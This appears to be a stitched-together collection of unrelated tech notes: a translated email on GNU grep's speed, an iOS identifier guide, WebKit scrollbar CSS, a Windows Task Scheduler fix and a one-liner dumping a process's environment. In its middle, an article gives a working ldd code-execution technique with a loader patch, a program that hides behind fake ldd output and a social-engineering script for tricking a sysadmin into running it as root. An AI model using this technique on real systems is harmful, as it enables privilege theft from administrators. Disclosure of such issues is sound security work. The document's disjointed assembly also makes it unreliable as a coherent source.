为什么GNU grep如此之快?

本文由 伯乐在线 - 敏敏 翻译自 FreeBSD Mailing Lists。欢迎加入技术翻译小组。转载请参见文章末尾处的要求。

编注:这是GNU grep的原作者Mike Haertel 在FreeBSD邮件列表中对 “GNU grep为什么比BSD grep要快” 所做的回答,下面是邮件正文内容:
Gabor 您好,
我是GNU grep的原作者,同时也是一名FreeBSD用户,不过我一直使用的是-stable版本(也就是更老的版本),而没怎么关注-current版本。
但是,当我无意间翻阅-current版的邮件列表时,偶然发现了一些关于BSD grep与GNU grep性能的讨论,你可能也注意到了那些讨论。
不管怎么说,仅供参考吧,下面是一些简单的总结,关于为什么GNU grep如此之快。或许你能借鉴其中的一些思想运用到BSD grep中去。
#技巧1:GNU grep之所以快是因为它并不会去检查输入中的每一个字节
#技巧2:GNU grep之所以快是因为它对那些的确需要检查的每个字节都执行非常少的指令(操作)
GNU grep使用了非常著名的Boyer-Moore算法(译者注:BM算法,是一种非常高效的字符串搜索算法,一般情况下,比KMP算法快3-5倍,具体可查看这篇讲解非常详细的文章:grep之字符串搜索算法Boyer-Moore由浅入深(比KMP快3-5倍),该算法首先从目标字符串的最后一个字符开始查找,并且使用一个查找表,它可以在发现一个不匹配字符之后,计算出可以跳过多少个输入字符并继续查找。
GNU grep还展开了Boyer-Moore算法的内部循环,并建立了一个Boyer-Moore的delta表,这样它就不需要在每一个展开的步骤进行循环退出判断了。这样的结果就是,在极限情况下(in the limit),GNU grep在需要检查的每一个输入字节上所执行的x86指令不会超过3条(并且还跳过了许多字节)。
你可以看看由Andrew Hume和Daniel Sunday 1991年11月在“Software Practice & Experience”上发表的论文“Fast String Searching”,该文很好的讨论了Boyer-Moore算法的实现技巧,该文有免费的PDF在线版(译者注:点这里查看或下载)。
一旦有了快速搜索,这时你会发现也需要同样快速的输入。
GNU grep使用了原生Unix输入系统调用并避免了在读取后对数据进行拷贝。
而且,GNU grep还避免了对输入进行分行,查找换行符会让grep减慢好几倍,因为要找换行符你就必须查看每个字节!
所以GNU grep没有使用基于行的输入,而是将原数据读入到一个大的缓冲区buffer,用Boyer-Moore算法对这个缓冲区进行搜索,只有在发现一个匹配之后才会去查找最近的换行符(某些命令参数,比如-n会禁止这种优化)。
最后,当我还在维护GNU grep的时候(15+年前……),GNU grep也尝试做一些非常困难的事情使内核也能避免处理输入的每个字节,比如使用mmap()而不是read()来进行文件输入。当时,用read()会使大部分Unix版本造成一些额外的拷贝。因为我已经不再GNU grep了,所以似乎mmap已经不再默认使用了,但是你仍然可以通过参数–mmap来启用它,至少在文件系统的buffer已经缓存了你的数据的情况下,mmap仍然要快一些:
1
2
3
4
5
6
7
8
$ time sh -c 'find . -type f -print | xargs grep -l 123456789abcdef'
  real  0m1.530s
  user  0m0.230s
  sys   0m1.357s
$ time sh -c 'find . -type f -print | xargs grep --mmap -l 123456789abcdef'
  real  0m1.201s
  user  0m0.330s
  sys   0m0.929s
[这里使用的输入是一个648M的MH邮件文件夹,包含大约41000条信息]
所以即使在今天,使用–mmap仍然可以提速20%以上。
总结:
- 使用Boyer-Moore算法(并且展开它的内层循环)。
- 使用原生系统调用来建立你的缓冲输入,避免在搜索之前拷贝输入字节。(无论如何,最好使用缓冲输出,因为在grep的常用场景中,输出的要比输入的少,所以输出缓冲拷贝的开销要小,并且可以节省许多这样小的无缓冲写操作。)
- 在找到一个匹配之前,不要查找换行符。
- 尝试做一些设置(比如页面对齐缓冲区,按页大小来读取块,选择性的使用mmap),这样可以使内核避免拷贝字节。
让程序变得更快的关键就是让它们做更少的事情。;-)
致礼
Mike

The Developer’s Guide to Unique Identifiers

I am going to outline each of the iOS supported and deprecated unique identifier methods to explain what they do in hopes of arming you with the knowledge you need to make the right decisions.

CFUUID

Starting with the oldest, CFUUID has been around since iOS 2.0. It is part of the CoreFoundation package and therefore C style API. CFUUIDCreate is the method you use to create the CFUUIDRef and you can get an NSString representation of the created CFUUIDRef like this.
1
2
CFUUIDRef cfuuid = CFUUIDCreate(kCFAllocatorDefault);
NSString *cfuuidString = (NSString*)CFBridgingRelease(CFUUIDCreateString(kCFAllocatorDefault, cfuuid));
The thing to know about the CFUUID is that it is not persisted at all. Every time you call CFUUIDCreate the system will return to you a brand new unique identifier. If you want to persist this identifier you will need to do that yourself using NSUserDefaults, Keychain, Pasteboard or some other means.
Example: 68753A44-4D6F-1226-9C60-0050E4C00067

NSUUID

This is the new younger cousin to CFUUID. NSUUID just popped up in iOS 6. It is pretty much exactly the same as CFUUID except it has a nice, modern Objective-C interface. + (id)UUID is the class method you call to get a UUID and you can get an NSString representation of that UUID object like this.
NSString *uuid = [[NSUUID UUID] UUIDString];
Just like the CFUUID, this is not persisted at all and you will get a new unique identifier each time you call it. You must do all the persisting yourself. I noticed an interesting thing while reading the docs on NSUUID. The example ID that Apple gives for both CFUUID and NSUUID are the exact same identifier.
Example: 68753A44-4D6F-1226-9C60-0050E4C00067

Advertiser Identifier

Another new method as of iOS 6, advertisingIdentifier is part of the new AdSupport.framework. The ASIdentifierManager singleton exposes the method advertisingIdentifier and calling that returns an instance of the NSUUID class mentioned above.
NSString *adId = [[[ASIdentifierManager sharedManager] advertisingIdentifier] UUIDString];
Unlike the direct CFUUID and NSUUID calls, the advertisingIdentifier is persisted by the system. However, even though it is persisted there are a few scenarios in which it will get regenerated. If the user does a full system reset (Settings.app -> General -> Reset -> Reset All Content and Settings) the advertisingIdentifier will get regenerated. If the user explicitly resets it (Settings.app -> General -> About -> Advertising -> Reset Advertising Identifier) it will get regenerated. There is one caveat to the Advertising Reset. If your app is running in the background while the user does a “Reset Advertising Identifier” and then returns to your app, the advertisingIdentifier is not immediately reset the next time you call it. You must terminate your app and then re-launch it to get the reset advertisingIdentifier. My guess is that this is because ASIdentifierManager is exposed as a singleton.
Another option available to users is to “Limit Ad Tracking”. As our own Nick Arnott has already pointed out, turning this option on does nothing to actually limit your access to the advertisingIdentifier. It is simply a boolean flag that you are supposed to respect when sending the advertisingIdentifier to any servers.
Example: 1E2DFA89-496A-47FD-9941-DF1FC4E6484A

Identifier for Vendor (IDFV)

This call was also added in iOS 6, but it was added as a new method on the existing UIDevice class. Just like advertisingIdentifier, it returns an NSUUID object.
NSString *idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
The documentation for the identifierForVendor says this. > The value of this property is the same for apps that come from the same vendor running on the same device. A different value is returned for apps on the same device that come from different vendors, and for apps on different devices regardless of vendor.
The question I had after reading that was, “what’s a vendor?” My first thought was that a vendor was defined as an Apple Developer Account. That turned out to be dead wrong. Next I thought it might it have to do with the AppIdentifierPrefix; similar to how Keychain Access can be shared between apps. Also dead wrong. It turns out to be very simple. A Vendor is defined by the first two parts of the reverse DNS formatted CFBundleIdentifier. For example com.doubleencore.app1 and com.doubleencore.app2 would be able to get the same identifierForVendor since they share the same com.doubleencore part of the CFBundleIdentifier. Butcom.massivelyoverrated or even net.doubleencore would get a completely different identifierForVendor.
The other thing to point out here is that if a user uninstalls all of the apps from a vendor and then re-installs them, the identifierForVendor will be reset.
Example: 599F9C00-92DC-4B5C-9464-7971F01F8370

UDID

The old tried and true but deprecated in iOS 5. You know it, you love it but don’t even think of using it again because it is going away. At least it is for apps that will be submitted to the App Store. It remains to be seen ifuniqueIdentifier will be turned into a private method or completely removed in a future iOS version. It is still needed for developers to provision devices in the iOS Developer Portal. And if you are distributing Enterprise signed applications it can also be very handy.
NSString *udid = [[UIDevice currentDevice] uniqueIdentifier];
Example: bb4d786633053a0b9c0da20d54ea7e38e8776da4

OpenUDID

Back when iOS 5 was released and uniqueIdentifier became deprecated there was a rush to find an alternative to the UDID that was not controlled by Apple. It seems that OpenUDID is the most widely used open source UDID alternative. OpenUDID is super simple to implement in your project and is supported by a slew of advertising providers.
NSString *openUDID = [OpenUDID value];
OpenUDID uses a very clever way to persist the identifier across applications. It uses specially named Pasteboards to store the identifier. This way, other apps that also use OpenUDID know where to go look and can grab the already generated identifier instead of generating a new one.
It has been mentioned that Apple will start to enforce the use of either the advertisingIdentifier or theidentifierForVendor in the future. If this is the case, even though OpenUDID might seem like a good option now, you might have to transition to one of the Apple approved calls anyway.
Example: 0d943976b24c85900c764dd9f75ce054dc5986ff

Decisions

I hope I have presented you with enough information to help you make an informed decision about which unique identifier is right for your app. I have created a small unique identifier test app that you can run and view the output of all of the above mentioned calls. And below you will find a couple of tables that outline the calls, their iOS availability and when you can expect the identifier to get reset.
* The app must be restarted in order to see the change.
** All apps from that vendor must be deleted in order to change the value.

NirCmd


NirCmd

ldd arbitrary code execution

The `ldd` utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong!
In this article I am going to show you how to create an executable that runs arbitrary code if it's examined by `ldd`. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.
I researched this subject thoroughly and found that it's almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1234.
First let's understand how `ldd` works. Take a look at these three examples:
[1] $ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)
The first command [1] runs `ldd` on `/bin/grep`. The output is what we expect -- a list of dynamic libraries that `/bin/grep` depends on.
The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes `/bin/grep` (but not quite). Surprisingly the output is the same!
The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader `ld-linux.so` and passes `/bin/grep` to it as an argument. The output is again the same!
What's going on here?
It turns out that `ldd` is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example `/bin/grep` was never run. That's a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD `ldd` is a C program that does the same.)
If you are on Linux, take a look at the `ldd` executable. You'll find that it's actually a bash script. If you step through it very carefully, you'll notice that the 2nd command gets executed if the program specified to `ldd` can't be loaded by the `ld-linux.so` loader, and that the 3rd command gets executed if it can.
One particular case when a program won't be handled by `ld-linux.so` is when it has a different loader than the system's default specified in it's .interp ELF section. That's the whole idea in executing arbitrary code with `ldd` -- load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.
For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/loader.so. If someone does `ldd /home/you/app/bin/exec` then it's game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute `ldd` on your executable allowing you to gain the control over the box.
Compiling the new loader.
Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.
$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'
Unpack it and run `make menuconfig`, choose the target architecture (most likely i386), leave everything else unchanged.
app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig
Edit .config and set the destination install directory to `/home/you/app/uclibc`.
# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"
Now we'll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.
Here is the patch. It patches the `ldso/ldso/ldso.c` file. Save the patch to a file and run `patch -p0 < file`. If you don't do it, arbitrary code execution won't work, because it will think that `ldd` wants to list dependencies.
--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
        }
 #endif
 
+    /*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                trace_loaded_objects++;
        }
+    */
 
 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {
Now compile and install it.
app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install
This will install the uClibc loader and libc library to /home/you/app/uclibc.
That's it. We have now installed uClibc. All we have to do now is link our executable with uClibc's loader (app/lib/ld-uClibc.so.0). It will execute the code if run under `ldd`!
Creating and linking an executable with uClibc's loader.
First let's create a test application that will just print something when executed via `ldd` and let's put it in `app/bin/myapp`
app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c
Let's write the following in `myapp.c`.
#include 
#include 

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your box are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}
This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it's not, the program acts as if nothing happened.
The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via `ldd` will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:
app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc
Here is the explanation of options passed to gcc:
  • -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 -- specifies the new loader,
  • -Wl,-rpath-link,$L/lib -- specifies the primary directory where the dynamic loader will look for dependencies,
  • -nostdlib -- don't use system libraries,
  • myapp.c -o myapp -- compile myapp.c to executable myapp,
  • $L/usr/lib/crt*.o -- statically link to initial runtime code, function prolog, epilog,
  • -L$L/usr/lib/ -- search for libc in this directory,
  • -lc -- link with the C library.
Now let's run the new `myapp` executable. First, without ldd:
app/bin$ ./myapp 
Nothing.
LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output "Nothing." as expected.
Now let's run it via `ldd` and for the maximum effect, let's run it from the root shell, as if I was the sysadmin:
app/bin$ su
Password: 
app/bin# ldd ./myapp
All your box are belong to me.
Wow! The sysadmin just executed our exploit! He lost the system.
A more sophisticated example.
Here is a more sophisticated example that I just came up with. When run without `ldd` this application fails with a fictitious "error while loading shared libraries" error. When run under `ldd` it checks if the person is root, and owns the box. After that it fakes `ldd` output and pretends to have `libat.so.0` missing.
This code needs a lot of improvements and just illustrates the main ideas.
#include 
#include 
#include 
#include 

/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}

void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");
        
        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
    
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}
Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.
Social engineering.
Most system administrators probably don't know that they should never run `ldd` on unfamiliar executables.
Here is a fake scenario on how to get your sysadmin run `ldd` on your executable.
Sysadmin's phone: ring, ring.
Sysadmin: "Mr. sysadmin here. How can I help you?"
You: "Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?"
Sysadmin: "Sure. What app is it?"
You: "It's in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about 'error while loading shared libraries'."
Sysadmin: "Just a sec." noise from keyboard in the background
Sysadmin: "What was it again? It must be some kind of a library problem. I am going to check its dependencies."
You: "Thanks, it's /home/carl/app/bin/myapp."
Sysadmin: "Hmm. It says it's missing `libat.so.0`, ever heard of it?"
You: "Nope, no idea... I really need to get my work done, can you check on that and get back to me?" evil grin in the background
Sysadmin: "Okay Carl, I'm gonna call you back."
You: "Thanks! See ya."
You: `mv ~/.hidden/working_app ~/app/bin/myapp`.
After a while.
Sysadmin calls: "Hi. It seems to be working now. I don't know what the problem was."
You: "Oh, okay. Thanks!"
Lesson to be learned: Never run `ldd` on unknown executables!

查看进程启动时的环境变量

cat /proc//environ | xargs -0 -n1  

Custom Scrollbars in WebKit

Way back in the day, you could customize scrollbars in IE (5.5) with non-standard CSS properties likescrollbar-base-color which you would use on the element that scrolls (like the ) and do totally rad things. IE dropped that.
These days, customizing scrollbars is back, but it's WebKit this time. It's a bit better now, because the properties are vendor-prefixed (e.g. ::-webkit-scrollbar) and use the "Shadow DOM". This has been around for a couple of years. David Hyatt blogged itin early 2009 and put together an example page of just about every combination of scrollbar possibilities you could ever want.

The Goods

The Different Pieces

These are the pseudo elements themselves. The actual parts of the scrollbars.
::-webkit-scrollbar              { /* 1 */ }
::-webkit-scrollbar-button       { /* 2 */ }
::-webkit-scrollbar-track        { /* 3 */ }
::-webkit-scrollbar-track-piece  { /* 4 */ }
::-webkit-scrollbar-thumb        { /* 5 */ }
::-webkit-scrollbar-corner       { /* 6 */ }
::-webkit-resizer                { /* 7 */ }

The Different States

These are the pseudo class selectors. They allow for more specific selection of the parts, like when the scrollbar is in different states.
:horizontal
:vertical
:decrement
:increment
:start
:end 
:double-button
:single-button
:no-button
:corner-present
:window-inactive
I'm going to steal this whole section from David's blog post on the WebKit blog because it explains each part well:
:horizontal – The horizontal pseudo-class applies to any scrollbar pieces that have a horizontal orientation.
:vertical – The vertical pseudo-class applies to any scrollbar pieces that have a vertical orientation.
:decrement – The decrement pseudo-class applies to buttons and track pieces. It indicates whether or not the button or track piece will decrement the view’s position when used (e.g., up on a vertical scrollbar, left on a horizontal scrollbar).
:increment – The increment pseudo-class applies to buttons and track pieces. It indicates whether or not a button or track piece will increment the view’s position when used (e.g., down on a vertical scrollbar, right on a horizontal scrollbar).
:start – The start pseudo-class applies to buttons and track pieces. It indicates whether the object is placed before the thumb.
:end – The end pseudo-class applies to buttons and track pieces. It indicates whether the object is placed after the thumb.
:double-button – The double-button pseudo-class applies to buttons and track pieces. It is used to detect whether a button is part of a pair of buttons that are together at the same end of a scrollbar. For track pieces it indicates whether the track piece abuts a pair of buttons.
:single-button – The single-button pseudo-class applies to buttons and track pieces. It is used to detect whether a button is by itself at the end of a scrollbar. For track pieces it indicates whether the track piece abuts a singleton button.
:no-button – Applies to track pieces and indicates whether or not the track piece runs to the edge of the scrollbar, i.e., there is no button at that end of the track.
:corner-present – Applies to all scrollbar pieces and indicates whether or not a scrollbar corner is present.
:window-inactive – Applies to all scrollbar pieces and indicates whether or not the window containing the scrollbar is currently active. (In recent nightlies, this pseudo-class now applies to ::selection as well. We plan to extend it to work with any content and to propose it as a new standard pseudo-class.)

All together now

These pseudo elements and pseudo class selectors work together. Here are some random examples:
::-webkit-scrollbar-track-piece:start {
   /* Select the top half (or left half) or scrollbar track individually */
}

::-webkit-scrollbar-thumb:window-inactive {
   /* Select the thumb when the browser window isn't in focus */
}

::-webkit-scrollbar-button:horizontal:decrement:hover {
   /* Select the down or left scroll button when it's being hovered by the mouse */
}

Very Simple Example

To make a really simple custom scrollbar we could do this:
::-webkit-scrollbar {
    width: 12px;
}
 
::-webkit-scrollbar-track {
    -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); 
    border-radius: 10px;
}
 
::-webkit-scrollbar-thumb {
    border-radius: 10px;
    -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5); 
}
In which we'd get this on a simple div with vertically overflowing text:

In The Wild

Check out the very subtle and nice scrollbars on Tim Van Damme's blog Maxvoltar (Update September 2012: Tim's site no longer uses this design):
The particularly nice bit here is that the scrollbar is on the body element, yet the scrollbar isn't stuck to the top, bottom, or right edge of the browser window as scroll bars normally are. I made a test page with copy-and-pasteable code to achieve that a similar effect:
On Forrst, they use custom scollbars on code snippets which are also pretty nice. They are less visually intense and so don't fight as much with the code highlighting.

Related

任务计划 上次运行结果:因为用户未登录到网络,因此未执行所要求的动作

任务计划中的任务不能开机启动,错误信息为:
上次运行结果:因为用户未登录到网络,因此未执行所要求的动作,指定的服务不存在
解决方法:
编辑任务的触发器,将 开始任务 由“启动时”改为“登录时
编辑任务的触发器,将开始任务有“启动时”改为“登录时”
PS. “启动时”只适用于开机自动登录的用户。

方法二:常规>安全选项>不管用户是否登录都要运行